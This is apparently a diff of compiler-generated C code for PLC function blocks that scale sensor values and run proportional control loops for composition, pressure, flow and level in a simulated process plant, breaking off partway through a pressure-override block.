__SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + 